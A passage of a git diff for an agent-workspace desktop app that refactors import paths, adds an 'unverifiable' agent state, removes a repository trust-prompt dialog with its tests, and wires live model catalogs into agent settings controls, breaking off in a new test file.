@@ -30,7 +27,7 @@ import {
 } from '../sidebar/workspace-card/details/WorktreeCardDetailSection'
 import { EventTime, ThreadAgentStateIndicator } from './activity-thread-controls'
 import { activityThreadRowCopy, threadAgentStateLabel } from './activity-thread-presentation'
-import { getActivityThreadWorkspaceTitle } from '@/lib/activity-thread-display'
+import { getActivityThreadWorkspaceTitle } from '@/lib/workspace/activity/activity-thread-display'
 import type { AgentPaneThread } from './activity-thread-types'
 
 export function ActivityThreadHoverCardSummary({
@@ -51,7 +48,7 @@ export function ActivityThreadHoverCardSummary({
   const executionHostId = getWorktreeExecutionHostId(worktree, repo ?? undefined)
   const parsedHost = parseExecutionHostId(executionHostId)
   const hostLabelOverrides = useMemo(() => getHostDisplayLabelOverrides(settings), [settings])
-  const hostDisplayLabel = useMemo(() => {
+  const customHostDisplayLabel = useMemo(() => {
     const override = hostLabelOverrides.get(executionHostId)
     if (override) {
       return override
@@ -68,8 +65,10 @@ export function ActivityThreadHoverCardSummary({
         return target
       }
     }
-    return getExecutionHostLabel(executionHostId)
+    return null
   }, [executionHostId, hostLabelOverrides, parsedHost, runtimeEnvironments, sshTargetLabels])
+  const hostDisplayLabel =
+    customHostDisplayLabel ?? getTranslatedExecutionHostLabel(executionHostId)
   const branchIdentityDisplay = useMemo(() => getWorktreeGitIdentityDisplay(worktree), [worktree])
   const { taskTitle, needsAttention } = activityThreadRowCopy(thread, t)
   const workspaceTitle = getActivityThreadWorkspaceTitle(worktree)
diff --git a/src/renderer/src/components/activity/activity-thread-presentation.ts b/src/renderer/src/components/activity/activity-thread-presentation.ts
index 92913fa6841..38acf5de479 100644
--- a/src/renderer/src/components/activity/activity-thread-presentation.ts
+++ b/src/renderer/src/components/activity/activity-thread-presentation.ts
@@ -10,7 +10,7 @@ import {
   getActivityThreadTaskTitle,
   getActivityThreadWorkspaceTitle,
   resolveActivityThreadStatusPreview
-} from '@/lib/activity-thread-display'
+} from '@/lib/workspace/activity/activity-thread-display'
 import { formatUiRelativeTime } from '@/i18n/relative-time-format'
 import { translate } from '@/i18n/i18n'
 import type { Translate } from '@/i18n/use-translate'
@@ -266,7 +266,11 @@ export function activityThreadRowCopy(
   const toolPreviewState = liveState === 'monitoring' ? null : liveState
   const state = activityThreadStatusId(thread)
   const needsAttention = state === 'waiting' || state === 'blocked' || state === 'permission'
-  if (renderedPreview && !previewDuplicatesIdentity(renderedPreview, taskTitle, workspaceLabel)) {
+  if (
+    state !== 'unverifiable' &&
+    renderedPreview &&
+    !previewDuplicatesIdentity(renderedPreview, taskTitle, workspaceLabel)
+  ) {
     return {
       taskTitle,
       statusLine: renderedPreview,
diff --git a/src/renderer/src/components/activity/activity-thread-types.ts b/src/renderer/src/components/activity/activity-thread-types.ts
index f336ad375b0..f9015083fa4 100644
--- a/src/renderer/src/components/activity/activity-thread-types.ts
+++ b/src/renderer/src/components/activity/activity-thread-types.ts
@@ -14,7 +14,7 @@ export type ActivityHookLiveAgentState = Extract<
   AgentStatusState,
   'working' | 'blocked' | 'waiting'
 >
-export type ActivityLiveAgentState = ActivityHookLiveAgentState | 'monitoring'
+export type ActivityLiveAgentState = ActivityHookLiveAgentState | 'monitoring' | 'unverifiable'
 export type ActivityEvent = {
   id: string
   state: ActivityEventState
diff --git a/src/renderer/src/components/activity/use-agent-pane-thread-store-data.ts b/src/renderer/src/components/activity/use-agent-pane-thread-store-data.ts
index cc2aac04cb3..fd52d26f753 100644
--- a/src/renderer/src/components/activity/use-agent-pane-thread-store-data.ts
+++ b/src/renderer/src/components/activity/use-agent-pane-thread-store-data.ts
@@ -23,6 +23,7 @@ export type AllAgentPaneThreadsStoreData = Pick<
   | 'migrationUnsupportedByPtyId'
   | 'retainedAgentsByPaneKey'
   | 'tabsByWorktree'
+  | 'ptyIdsByTabId'
   | 'repos'
   | 'worktreesByRepo'
   | 'folderWorkspaces'
@@ -65,6 +66,7 @@ export function useAllAgentPaneThreadStoreData(): AllAgentPaneThreadsStoreData {
       migrationUnsupportedByPtyId: s.migrationUnsupportedByPtyId,
       retainedAgentsByPaneKey: s.retainedAgentsByPaneKey,
       tabsByWorktree: s.tabsByWorktree,
+      ptyIdsByTabId: s.ptyIdsByTabId,
       activityTabs: (() => {
         const cache = tabProjectionRef.current
         if (cache.raw === s.unifiedTabsByWorktree && cache.projected) {
diff --git a/src/renderer/src/components/activity/use-agent-pane-threads.ts b/src/renderer/src/components/activity/use-agent-pane-threads.ts
index 48daeb648e6..4c90447a055 100644
--- a/src/renderer/src/components/activity/use-agent-pane-threads.ts
+++ b/src/renderer/src/components/activity/use-agent-pane-threads.ts
@@ -3,7 +3,7 @@ import { useAppStore } from '@/store'
 import { useStructuredChatTabNames } from '@/runtime/native-chat/naming/structured-chat-name-observation'
 import { buildActivityEvents } from './activity-event-builder'
 import { createActivityEventBuildCache } from '@/components/activity/activity-event-build-cache'
-import { freshActivityLiveAgentState } from './activity-event-state'
+import { freshActivityLiveAgentState, isRunningActivityState } from './activity-event-state'
 import {
   useAgentPaneThreadsDefaultHostId,
   useAllAgentPaneThreadStoreData,
@@ -80,6 +80,7 @@ export function useAllAgentPaneThreads({ badgeOnly = false }: { badgeOnly?: bool
           migrationUnsupportedByPtyId: storeData.migrationUnsupportedByPtyId,
           retainedAgentsByPaneKey: storeData.retainedAgentsByPaneKey,
           tabsByWorktree: storeData.tabsByWorktree,
+          ptyIdsByTabId: storeData.ptyIdsByTabId,
           unifiedTabsByWorktree: storeData.activityTabs,
           worktreeMap: storeData.worktreeMap,
           repoMap: storeData.repoMap,
@@ -227,7 +228,8 @@ export function useAgentPaneThreads(args: {
       if (
         readFilter === 'unread' &&
         !thread.unread &&
-        (thread.currentAgentState === null || thread.migrationUnsupportedPtyId !== undefined) &&
+        (!isRunningActivityState(thread.currentAgentState) ||
+          thread.migrationUnsupportedPtyId !== undefined) &&
         thread.paneKey !== effectiveSelectedPaneKey
       ) {
         return false
diff --git a/src/renderer/src/components/agent-workspace-trust/AgentWorkspaceTrustDecisionDialog.fixture.tsx b/src/renderer/src/components/agent-workspace-trust/AgentWorkspaceTrustDecisionDialog.fixture.tsx
deleted file mode 100644
index 5394cf571e6..00000000000
--- a/src/renderer/src/components/agent-workspace-trust/AgentWorkspaceTrustDecisionDialog.fixture.tsx
+++ /dev/null
@@ -1,16 +0,0 @@
-import { Dialog } from '@/components/ui/dialog'
-import { defineFixture } from '../../component-fixtures/component-fixture'
-import { AgentWorkspaceTrustDecisionDialogView } from './AgentWorkspaceTrustDecisionDialog'
-
-export const firstLaunch = defineFixture({
-  width: 640,
-  render: () => (
-    <Dialog open>
-      <AgentWorkspaceTrustDecisionDialogView
-        repoName="acme-web"
-        saving={false}
-        onAnswer={() => {}}
-      />
-    </Dialog>
-  )
-})
diff --git a/src/renderer/src/components/agent-workspace-trust/AgentWorkspaceTrustDecisionDialog.tsx b/src/renderer/src/components/agent-workspace-trust/AgentWorkspaceTrustDecisionDialog.tsx
deleted file mode 100644
index 1fce90c9492..00000000000
--- a/src/renderer/src/components/agent-workspace-trust/AgentWorkspaceTrustDecisionDialog.tsx
+++ /dev/null
@@ -1,106 +0,0 @@
-import { useEffect, useState, useSyncExternalStore } from 'react'
-import { ShieldQuestion } from 'lucide-react'
-import { Button } from '@/components/ui/button'
-import { useAppStore } from '@/store'
-import {
-  Dialog,
-  DialogContent,
-  DialogDescription,
-  DialogFooter,
-  DialogHeader,
-  DialogTitle
-} from '@/components/ui/dialog'
-import type { AgentWorkspaceTrustDecision } from '../../../../shared/agent-launch/permissions/agent-workspace-trust-decision'
-import { agentWorkspaceTrustDecisionCopy as copy } from './agent-workspace-trust-decision-copy'
-import {
-  answerAgentWorkspaceTrustDecision,
-  getAgentWorkspaceTrustDecisionRequest,
-  subscribeAgentWorkspaceTrustDecisionRequest
-} from './agent-workspace-trust-decision-prompt'
-
-export type AgentWorkspaceTrustDecisionDialogViewProps = {
-  repoName: string
-  saving: boolean
-  onAnswer: (decision: AgentWorkspaceTrustDecision) => void
-}
-
-/** A launch waits on this answer, so it closes only through a choice. */
-export function AgentWorkspaceTrustDecisionDialogView({
-  repoName,
-  saving,
-  onAnswer
-}: AgentWorkspaceTrustDecisionDialogViewProps): React.JSX.Element {
-  return (
-    <DialogContent
-      className="sm:max-w-md"
-      showCloseButton={false}
-      onEscapeKeyDown={(event) => event.preventDefault()}
-      onInteractOutside={(event) => event.preventDefault()}
-    >
-      <DialogHeader>
-        <DialogTitle size="compact">
-          <span className="flex items-center gap-2">
-            <ShieldQuestion className="size-4 text-muted-foreground" aria-hidden="true" />
-            {copy.promptTitle(repoName)}
-          </span>
-        </DialogTitle>
-        <DialogDescription>{copy.promptDescription()}</DialogDescription>
-      </DialogHeader>
-      <p className="text-xs text-muted-foreground">{copy.promptRemembered()}</p>
-      <DialogFooter>
-        <Button
-          type="button"
-          size="sm"
-          variant="outline"
-          disabled={saving}
-          onClick={() => onAnswer('agent-asks')}
-        >
-          {copy.letAgentsAsk()}
-        </Button>
-        <Button
-          type="button"
-          size="sm"
-          autoFocus
-          disabled={saving}
-          onClick={() => onAnswer('pre-trust')}
-        >
-          {copy.trustRepository()}
-        </Button>
-      </DialogFooter>
-    </DialogContent>
-  )
-}
-
-export default function AgentWorkspaceTrustDecisionDialog(): React.JSX.Element | null {
-  const request = useSyncExternalStore(
-    subscribeAgentWorkspaceTrustDecisionRequest,
-    getAgentWorkspaceTrustDecisionRequest,
-    getAgentWorkspaceTrustDecisionRequest
-  )
-  const [savingFor, setSavingFor] = useState<typeof request>(null)
-  const setContextualToursBlockingSurfaceVisible = useAppStore(
-    (state) => state.setContextualToursBlockingSurfaceVisible
-  )
-  const open = request !== null
-  useEffect(() => {
-    setContextualToursBlockingSurfaceVisible(open)
-    return () => setContextualToursBlockingSurfaceVisible(false)
-  }, [open, setContextualToursBlockingSurfaceVisible])
-  if (!request) {
-    return null
-  }
-  const answer = (decision: AgentWorkspaceTrustDecision): void => {
-    setSavingFor(request)
-    void answerAgentWorkspaceTrustDecision(decision).finally(() => setSavingFor(null))
-  }
-  return (
-    <Dialog open>
-      <AgentWorkspaceTrustDecisionDialogView
-        key={`${request.hostId}:${request.repoId}`}
-        repoName={request.repoName}
-        saving={savingFor === request}
-        onAnswer={answer}
-      />
-    </Dialog>
-  )
-}
diff --git a/src/renderer/src/components/agent-workspace-trust/agent-workspace-trust-decision-copy.ts b/src/renderer/src/components/agent-workspace-trust/agent-workspace-trust-decision-copy.ts
index 8306ca00ed1..70aadfde427 100644
--- a/src/renderer/src/components/agent-workspace-trust/agent-workspace-trust-decision-copy.ts
+++ b/src/renderer/src/components/agent-workspace-trust/agent-workspace-trust-decision-copy.ts
@@ -2,22 +2,6 @@
 import { translate } from '@/i18n/i18n'
 
 export const agentWorkspaceTrustDecisionCopy = {
-  promptTitle: (repo: string) =>
-    translate(
-      'auto.components.agent-workspace-trust-decision.prompt-title',
-      'Trust {{repo}} for agents?',
-      { repo }
-    ),
-  promptDescription: () =>
-    translate(
-      'auto.components.agent-workspace-trust-decision.prompt-description',
-      'Agents like Claude Code and Codex ask "Do you trust this folder?" before they load the project\'s own agent settings and hooks, which can run commands. Orca can answer yes for you in every worktree of this repository.'
-    ),
-  promptRemembered: () =>
-    translate(
-      'auto.components.agent-workspace-trust-decision.prompt-remembered',
-      "Orca remembers your answer for this repository. You can change it in the repository's settings."
-    ),
   trustRepository: () =>
     translate(
       'auto.components.agent-workspace-trust-decision.trust-repository',
@@ -32,11 +16,6 @@ export const agentWorkspaceTrustDecisionCopy = {
       'auto.components.agent-workspace-trust-decision.setting-description',
       'Whether agents Orca starts in this repository\'s worktrees skip their "Do you trust this folder?" prompt and load the project\'s agent settings and hooks right away.'
     ),
-  settingUndecided: () =>
-    translate(
-      'auto.components.agent-workspace-trust-decision.setting-undecided',
-      'Not decided yet. Orca will ask the next time you start an agent here.'
-    ),
   settingGlobalOff: () =>
     translate(
       'auto.components.agent-workspace-trust-decision.setting-global-off',
diff --git a/src/renderer/src/components/agent-workspace-trust/agent-workspace-trust-decision-prompt.test.ts b/src/renderer/src/components/agent-workspace-trust/agent-workspace-trust-decision-prompt.test.ts
deleted file mode 100644
index 8d1358d857f..00000000000
--- a/src/renderer/src/components/agent-workspace-trust/agent-workspace-trust-decision-prompt.test.ts
+++ /dev/null
@@ -1,148 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type { Repo } from '../../../../shared/repo-types'
-import {
-  installIpcPtyWindow,
-  restorePtySpecWindow
-} from '../terminal-pane/pty-transport/ipc/pty-transport-test-harness'
-
-type StoreState = {
-  repos: Partial<Repo>[]
-  settings: { agentWorkspaceTrustEnabled: boolean }
-  updateRepo: ReturnType<typeof vi.fn>
-}
-
-const state = vi.hoisted((): StoreState => ({
-  repos: [],
-  settings: { agentWorkspaceTrustEnabled: true },
-  updateRepo: vi.fn()
-}))
-
-vi.mock('@/store', () => ({ useAppStore: { getState: () => state } }))
-
-import {
-  AGENT_TRUST_PROMPT_TIMEOUT_MS,
-  AGENT_TRUST_SAVE_WAIT_MS,
-  answerAgentWorkspaceTrustDecision,
-  awaitAgentWorkspaceTrustDecision,
-  getAgentWorkspaceTrustDecisionRequest,
-  subscribeAgentWorkspaceTrustDecisionRequest
-} from './agent-workspace-trust-decision-prompt'
-
-const WORKTREE = 'repo-1::/repos/app/feature'
-const launch = (workspaceId = WORKTREE) =>
-  awaitAgentWorkspaceTrustDecision({ launchAgent: 'claude', workspaceId, connectionId: null })
-
-let unsubscribeDialog: () => void = () => {}
-
-beforeEach(() => {
-  vi.useFakeTimers()
-  vi.spyOn(console, 'warn').mockImplementation(() => {})
-  unsubscribeDialog = subscribeAgentWorkspaceTrustDecisionRequest(() => {})
-  state.repos = [{ id: 'repo-1', path: '/repos/app', displayName: 'app' }]
-  state.settings = { agentWorkspaceTrustEnabled: true }
-  state.updateRepo = vi.fn(async (repoId: string, updates: Partial<Repo>) => {
-    state.repos = state.repos.map((repo) => (repo.id === repoId ? { ...repo, ...updates } : repo))
-    return true
-  })
-})
-
-afterEach(async () => {
-  // Release anything a test left on screen so module state never leaks between tests.
-  await vi.advanceTimersByTimeAsync(AGENT_TRUST_PROMPT_TIMEOUT_MS)
-  unsubscribeDialog()
-  vi.useRealTimers()
-  vi.restoreAllMocks()
-})
-
-describe('first agent launch in a repo', () => {
-  it.each([true, false])(
-    'asks once for concurrent section launches through PTY connect (save succeeds: %s)',
-    async (saveSucceeds) => {
-      const originalWindow: typeof window | undefined = globalThis.window
-      installIpcPtyWindow(originalWindow, {})
-      if (!saveSucceeds) {
-        state.updateRepo = vi.fn(async () => false)
-      }
-      vi.mocked(window.api.pty.spawn)
-        .mockResolvedValueOnce({ id: 'section-1' })
-        .mockResolvedValueOnce({ id: 'section-2' })
-      const { createIpcPtyTransport } =
-        await import('../terminal-pane/pty-transport/ipc/pty-transport')
-      const transports = ['folder:placement', 'folder:other'].map((worktreeId) =>
-        createIpcPtyTransport({
-          worktreeId,
-          trustWorktreeId: WORKTREE,
-          cwd: '/repos/app/feature',
-          command: 'claude',
-          launchAgent: 'claude'
-        })
-      )
-      const connecting = Promise.all(
-        transports.map((transport) => transport.connect({ url: '', callbacks: {} }))
-      )
-      try {
-        expect(getAgentWorkspaceTrustDecisionRequest()).toMatchObject({
-          repoId: 'repo-1',
-          repoName: 'app',
-          hostId: 'local'
-        })
-        expect(window.api.pty.spawn).not.toHaveBeenCalled()
-        await answerAgentWorkspaceTrustDecision('agent-asks')
-        await connecting
-        expect(state.updateRepo).toHaveBeenCalledExactlyOnceWith(
-          'repo-1',
-          { agentWorkspaceTrust: 'agent-asks' },
-          { hostId: 'local' }
-        )
-        expect(getAgentWorkspaceTrustDecisionRequest()).toBeNull()
-        expect(vi.mocked(window.api.pty.spawn).mock.calls.map(([args]) => args)).toMatchObject([
-          {
-            worktreeId: 'folder:placement',
-            trustWorktreeId: WORKTREE,
-            cwd: '/repos/app/feature',
-            skipAgentWorkspaceTrust: true
-          },
-          {
-            worktreeId: 'folder:other',
-            trustWorktreeId: WORKTREE,
-            cwd: '/repos/app/feature',
-            skipAgentWorkspaceTrust: true
-          }
-        ])
-      } finally {
-        await answerAgentWorkspaceTrustDecision('agent-asks')
-        await connecting
-        for (const transport of transports) {
-          transport.destroy?.()
-        }
-        restorePtySpecWindow(originalWindow)
-      }
-    }
-  )
-
-  it('releases with the answer when saving stalls', async () => {
-    state.updateRepo = vi.fn(() => new Promise<boolean>(() => {}))
-    const pending = launch()
-
-    const answered = answerAgentWorkspaceTrustDecision('agent-asks')
-    await vi.advanceTimersByTimeAsync(AGENT_TRUST_SAVE_WAIT_MS)
-    await answered
-
-    await expect(pending).resolves.toBe('agent-asks')
-  })
-
-  it("releases an unanswered prompt with today's default and closes it", async () => {
-    const pending = launch()
-
-    await vi.advanceTimersByTimeAsync(AGENT_TRUST_PROMPT_TIMEOUT_MS)
-
-    await expect(pending).resolves.toBeNull()
-    expect(getAgentWorkspaceTrustDecisionRequest()).toBeNull()
-    expect(state.updateRepo).not.toHaveBeenCalled()
-  })
-
-  it('never holds a launch when no dialog is mounted to answer it', () => {
-    unsubscribeDialog()
-    expect(launch()).toBeNull()
-  })
-})
diff --git a/src/renderer/src/components/agent-workspace-trust/agent-workspace-trust-decision-prompt.ts b/src/renderer/src/components/agent-workspace-trust/agent-workspace-trust-decision-prompt.ts
deleted file mode 100644
index ee8bd968bac..00000000000
--- a/src/renderer/src/components/agent-workspace-trust/agent-workspace-trust-decision-prompt.ts
+++ /dev/null
@@ -1,169 +0,0 @@
-import { useAppStore } from '@/store'
-import { getRepoRowIdentity, repoMatchesHostIdentity } from '@/store/repos/repo-host-identity'
-import {
-  TUI_AGENT_CONFIG,
-  isTuiAgent
-} from '../../../../shared/agent-launch/catalog/tui-agent-config'
-import {
-  needsAgentWorkspaceTrustDecision,
-  type AgentWorkspaceTrustDecision
-} from '../../../../shared/agent-launch/permissions/agent-workspace-trust-decision'
-import {
-  getConnectionExecutionHostId,
-  getRepoExecutionHostId
-} from '../../../../shared/execution-host'
-import type { Repo } from '../../../../shared/repo-types'
-import { parseWorkspaceKey } from '../../../../shared/workspace-scope'
-import { splitWorktreeId } from '../../../../shared/worktree/id'
-
-export type AgentWorkspaceTrustDecisionRequest = {
-  repoId: string
-  repoName: string
-  hostId: ReturnType<typeof getRepoExecutionHostId>
-}
-
-/** The user's answer for this launch; null means no answer, so today's default applies. */
-export type AgentWorkspaceTrustLaunchAnswer = AgentWorkspaceTrustDecision | null
-
-/** An unanswered prompt releases its launches with today's default rather than holding them. */
-export const AGENT_TRUST_PROMPT_TIMEOUT_MS = 120_000
-/** A slow save must not hold the launch; the answer still applies to this launch. */
-export const AGENT_TRUST_SAVE_WAIT_MS = 5_000
-
-type PendingRequest = AgentWorkspaceTrustDecisionRequest & {
-  rowIdentity: string
-  settle: (answer: AgentWorkspaceTrustLaunchAnswer) => void
-  timer?: ReturnType<typeof setTimeout>
-  answering?: boolean
-}
-
-const queue: PendingRequest[] = []
-const inFlightByRow = new Map<string, Promise<AgentWorkspaceTrustLaunchAnswer>>()
-const listeners = new Set<() => void>()
-
-function notifyListeners(): void {
-  for (const listener of listeners) {
-    listener()
-  }
-}
-
-function release(request: PendingRequest, answer: AgentWorkspaceTrustLaunchAnswer): void {
-  clearTimeout(request.timer)
-  const index = queue.indexOf(request)
-  if (index !== -1) {
-    queue.splice(index, 1)
-  }
-  inFlightByRow.delete(request.rowIdentity)
-  request.settle(answer)
-  showNext()
-}
-
-/** The timeout starts when a request is on screen, so a queued repo is not timed out unseen. */
-function showNext(): void {
-  const next = queue[0]
-  if (next && next.timer === undefined) {
-    next.timer = setTimeout(() => {
-      if (!next.answering) {
-        release(next, null)
-      }
-    }, AGENT_TRUST_PROMPT_TIMEOUT_MS)
-  }
-  notifyListeners()
-}
-
-/** The PTY's own connection names the owning host; never fall back to the focused host. */
-function repoForWorkspace(
-  workspaceId: string | undefined,
-  connectionId: string | null | undefined
-): Repo | null {
-  const scope = workspaceId ? parseWorkspaceKey(workspaceId) : null
-  if (!workspaceId || scope?.type === 'folder') {
-    return null
-  }
-  const repoId = splitWorktreeId(
-    scope?.type === 'worktree' ? scope.worktreeId : workspaceId
-  )?.repoId
-  if (!repoId) {
-    return null
-  }
-  const hostId = getConnectionExecutionHostId(connectionId)
-  return (
-    useAppStore.getState().repos.find((repo) => repoMatchesHostIdentity(repo, repoId, hostId)) ??
-    null
-  )
-}
-
-/** Null when no answer is needed, so launches that need none keep their synchronous path. */
-export function awaitAgentWorkspaceTrustDecision(args: {
-  launchAgent: unknown
-  workspaceId: string | undefined
-  connectionId: string | null | undefined
-}): Promise<AgentWorkspaceTrustLaunchAnswer> | null {
-  // No mounted dialog could answer, so never hold the launch.
-  if (listeners.size === 0) {
-    return null
-  }
-  if (!isTuiAgent(args.launchAgent) || !TUI_AGENT_CONFIG[args.launchAgent].preflightTrust) {
-    return null
-  }
-  const repo = repoForWorkspace(args.workspaceId, args.connectionId)
-  const globalEnabled = useAppStore.getState().settings?.agentWorkspaceTrustEnabled
-  if (!repo || !needsAgentWorkspaceTrustDecision(globalEnabled, repo.agentWorkspaceTrust)) {
-    return null
-  }
-  const rowIdentity = getRepoRowIdentity(repo)
-  const existing = inFlightByRow.get(rowIdentity)
-  if (existing) {
-    return existing
-  }
-  const pending = new Promise<AgentWorkspaceTrustLaunchAnswer>((settle) => {
-    queue.push({
-      repoId: repo.id,
-      repoName: repo.displayName,
-      hostId: getRepoExecutionHostId(repo),
-      rowIdentity,
-      settle
-    })
-  })
-  inFlightByRow.set(rowIdentity, pending)
-  showNext()
-  return pending
-}
-
-/** Saves the answer, then releases waiting launches with it even if the save fails or stalls. */
-export async function answerAgentWorkspaceTrustDecision(
-  decision: AgentWorkspaceTrustDecision
-): Promise<void> {
-  const request = queue[0]
-  if (!request || request.answering) {
-    return
-  }
-  request.answering = true
-  clearTimeout(request.timer)
-  let saveWait: ReturnType<typeof setTimeout> | undefined
-  const saved = await Promise.race([
-    useAppStore
-      .getState()
-      .updateRepo(request.repoId, { agentWorkspaceTrust: decision }, { hostId: request.hostId })
-      .catch(() => false),
-    new Promise<false>((resolve) => {
-      saveWait = setTimeout(() => resolve(false), AGENT_TRUST_SAVE_WAIT_MS)
-    })
-  ])
-  clearTimeout(saveWait)
-  if (!saved) {
-    console.warn(
-      '[agent-trust] the repository answer was not saved; it applies to this launch only'
-    )
-  }
-  release(request, decision)
-}
-
-export function getAgentWorkspaceTrustDecisionRequest(): AgentWorkspaceTrustDecisionRequest | null {
-  return queue[0] ?? null
-}
-
-export function subscribeAgentWorkspaceTrustDecisionRequest(listener: () => void): () => void {
-  listeners.add(listener)
-  return () => listeners.delete(listener)
-}
diff --git a/src/renderer/src/components/agent/launch-settings/AgentChoiceControls.tsx b/src/renderer/src/components/agent/launch-settings/AgentChoiceControls.tsx
index f79f0fc0178..0d4430a5021 100644
--- a/src/renderer/src/components/agent/launch-settings/AgentChoiceControls.tsx
+++ b/src/renderer/src/components/agent/launch-settings/AgentChoiceControls.tsx
@@ -13,6 +13,11 @@ import {
 } from '../../../../../shared/source-control/ai/recipes/source-control-action-options'
 import { encodeCatalogOptionValue } from '../../../../../shared/agent-session/options/structured-agent-session-option-codec'
 import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent'
+import type { AgentSessionModelCatalogResult } from '../../../../../shared/agent-session/agent-session-wire'
+import {
+  agentPickerEntryOptions,
+  agentPickerModels
+} from '../../../../../shared/agent-launch/picker/agent-launch-picker-catalog'
 import { AgentChoiceMenu } from './AgentChoiceMenu'
 import { sourceControlActionRouteHint } from './agent-choice-route-hint'
 import { useTranslate } from '@/i18n/use-translate'
@@ -27,6 +32,10 @@ export type AgentChoiceControlsProps = {
   optionIds?: readonly string[]
   defaultLabels?: { model?: string; options?: Record<string, string> }
   layout?: 'stacked' | 'contents' | 'rows'
+  /** The host's own list; without a listing the fields keep the release's seed models. */
+  liveCatalog?: AgentSessionModelCatalogResult
+  /** Tells the reader this list is the release's, because the host gave none. */
+  usesSeedModels?: boolean
   onChange: (value: AgentDedicatedChoices | undefined) => void
 }
 
@@ -61,6 +70,8 @@ export function AgentChoiceFields({
   optionIds,
   defaultLabels,
   layout = 'stacked',
+  liveCatalog,
+  usesSeedModels,
   onSelect
 }: Omit<AgentChoiceControlsProps, 'onChange'> & {
   onSelect: (patch: AgentChoicePatch) => void
@@ -73,13 +84,34 @@ export function AgentChoiceFields({
   const catalog = picksModel ? getAgentSessionOptionLaunchCatalog(agent) : null
   const selected = value
   const model = catalog && selected?.model ? findCatalogModel(catalog, selected.model) : undefined
-  const unlistedModel = catalog && selected?.model && !model ? selected.model : undefined
-  const options = sourceControlActionOptions(agent, selected?.model ?? '').filter(
+  const live =
+    liveCatalog && liveCatalog.origin !== 'unknown' && liveCatalog.models.length
+      ? { agent, catalog: liveCatalog, terminal: {} }
+      : null
+  const listedModels = live
+    ? agentPickerModels(live).filter(({ hidden }) => !hidden)
+    : (catalog?.models ?? [])
+  const unlistedModel =
+    selected?.model && !(live ? listedModels.some(({ id }) => id === selected.model) : model)
+      ? selected.model
+      : undefined
+  const liveEffort = live
+    ? agentPickerEntryOptions(live, selected?.model, 'terminal').find(({ id }) => id === 'effort')
+    : undefined
+  const options = sourceControlActionOptions(agent, selected?.model ?? '').flatMap((row) => {
     // CLI carrier mappings remain available to Args badges without advertising a mode control.
-    ({ option }) =>
-      (Boolean(model) || option.category !== 'mode') &&
-      (!optionIds || optionIds.includes(option.id))
-  )
+    if (
+      (!model && row.option.category === 'mode') ||
+      (optionIds && !optionIds.includes(row.option.id))
+    ) {
+      return []
+    }
+    if (!live || row.option.id !== 'effort') {
+      return [row]
+    }
+    // A listed model with no reasoning levels gets no effort menu.
+    return liveEffort ? [{ ...row, option: { ...row.option, kind: liveEffort.kind } }] : []
+  })
   const defaultLabel = t('settings.sourceControl.actionModel.effortDefault', 'Default')
   return (
     <div className={layout === 'contents' ? 'contents' : 'grid min-w-0 grid-cols-1 gap-2'}>
@@ -97,12 +129,20 @@ export function AgentChoiceFields({
                 defaultLabels?.model ??
                 t('settings.sourceControl.actionModel.agentDefault', 'Agent default')
             },
-            ...catalog.models.map(({ id, label }) => ({ value: id, label })),
+            ...listedModels.map(({ id, label }) => ({ value: id, label })),
             ...(unlistedModel ? [{ value: unlistedModel, label: unlistedModel }] : [])
           ]}
           onChange={(model) => onSelect({ model: model === AGENT_DEFAULT_VALUE ? null : model })}
         />
       ) : null}
+      {catalog?.models.length && usesSeedModels ? (
+        <p data-agent-model-list-fallback className="text-xs text-muted-foreground">
+          {t(
+            'settings.agents.modelListFallback',
+            'Built-in list. Orca could not get a model list from this host.'
+          )}
+        </p>
+      ) : null}
       {options.map(({ option, route }) => {
         const choices =
           option.kind.type === 'select'
diff --git a/src/renderer/src/components/agent/launch-settings/AgentDefaultSurfacePreviews.tsx b/src/renderer/src/components/agent/launch-settings/AgentDefaultSurfacePreviews.tsx
index aa9c0a5cf9a..10e58143629 100644
--- a/src/renderer/src/components/agent/launch-settings/AgentDefaultSurfacePreviews.tsx
+++ b/src/renderer/src/components/agent/launch-settings/AgentDefaultSurfacePreviews.tsx
@@ -1,6 +1,6 @@
-import { useMemo, type CSSProperties, type JSX, type ReactNode } from 'react'
+import { useMemo } from 'react'
+import type { CSSProperties, JSX, ReactNode } from 'react'
 import { ArrowUp, ChevronDown, Eye, Hand, Plus, X } from 'lucide-react'
-import type { GlobalSettings } from '../../../../../shared/global-settings-types'
 import { FlowDiagram } from '@/components/feature-tips/ChatUiHereFeatureTipVisual'
 import {
   CHAT_DEMO_FILE,
@@ -18,8 +18,9 @@ import { useSystemPrefersDark } from '@/hooks/theme/use-system-prefers-dark'
 import { useIntlLocale, useTranslate } from '@/i18n/use-translate'
 import { AgentIcon } from '@/components/agent/icons/AgentIcon'
 import { buildFontFamily } from '../../../../../shared/monospace-font-family'
-import { resolveEffectiveTerminalAppearance } from '@/lib/terminal-theme'
+import { resolveEffectiveTerminalAppearance } from '@/lib/terminal/appearance/terminal-theme'
 import { cn } from '@/lib/class-names'
+import type { GlobalSettings } from '../../../../../shared/global-settings-types'
 
 // The tip's chat miniature, finished and denser so it fits a tile; nothing here animates.
 const CHAT_SCALE: CSSProperties & { '--chat-font-size': string } = { '--chat-font-size': '10px' }
diff --git a/src/renderer/src/components/agent/launch-settings/AgentLaunchChoiceEditor.test.tsx b/src/renderer/src/components/agent/launch-settings/AgentLaunchChoiceEditor.test.tsx
new file mode 100644
index 00000000000..646469bf414
--- /dev/null
+++ b/src/renderer/src/components/agent/launch-settings/AgentLaunchChoiceEditor.test.tsx
@@ -0,0 +1,102 @@
+// @vitest-environment happy-dom
+import { act, cleanup, render, waitFor } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import { getDefaultSettings } from '../../../../../shared/constants'
+import { resetHostModelCatalogSnapshotsForTests } from '@/runtime/native-chat/model-catalogs/host-model-catalog-snapshots'
+import { useAppStore } from '@/store'
+import { TooltipProvider } from '../../ui/tooltip'
+import { AgentLaunchChoiceEditor } from './AgentLaunchChoiceEditor'
+
+const call = vi.hoisted(() => vi.fn())
+const menus = vi.hoisted(() => new Map<string, string[]>())
+
+vi.mock('@/runtime/native-chat/requests/structured-agent-session-call', () => ({
+  callStructuredAgentSession: call
+}))
+vi.mock('./AgentChoiceMenu', () => ({
+  AgentChoiceMenu: ({
+    label,
+    choices
+  }: {
+    label: string
+    choices: readonly { value: string }[]
+  }) => {
+    menus.set(
+      label,
+      choices.map(({ value }) => value)
+    )
+    return null
+  }
+}))
+
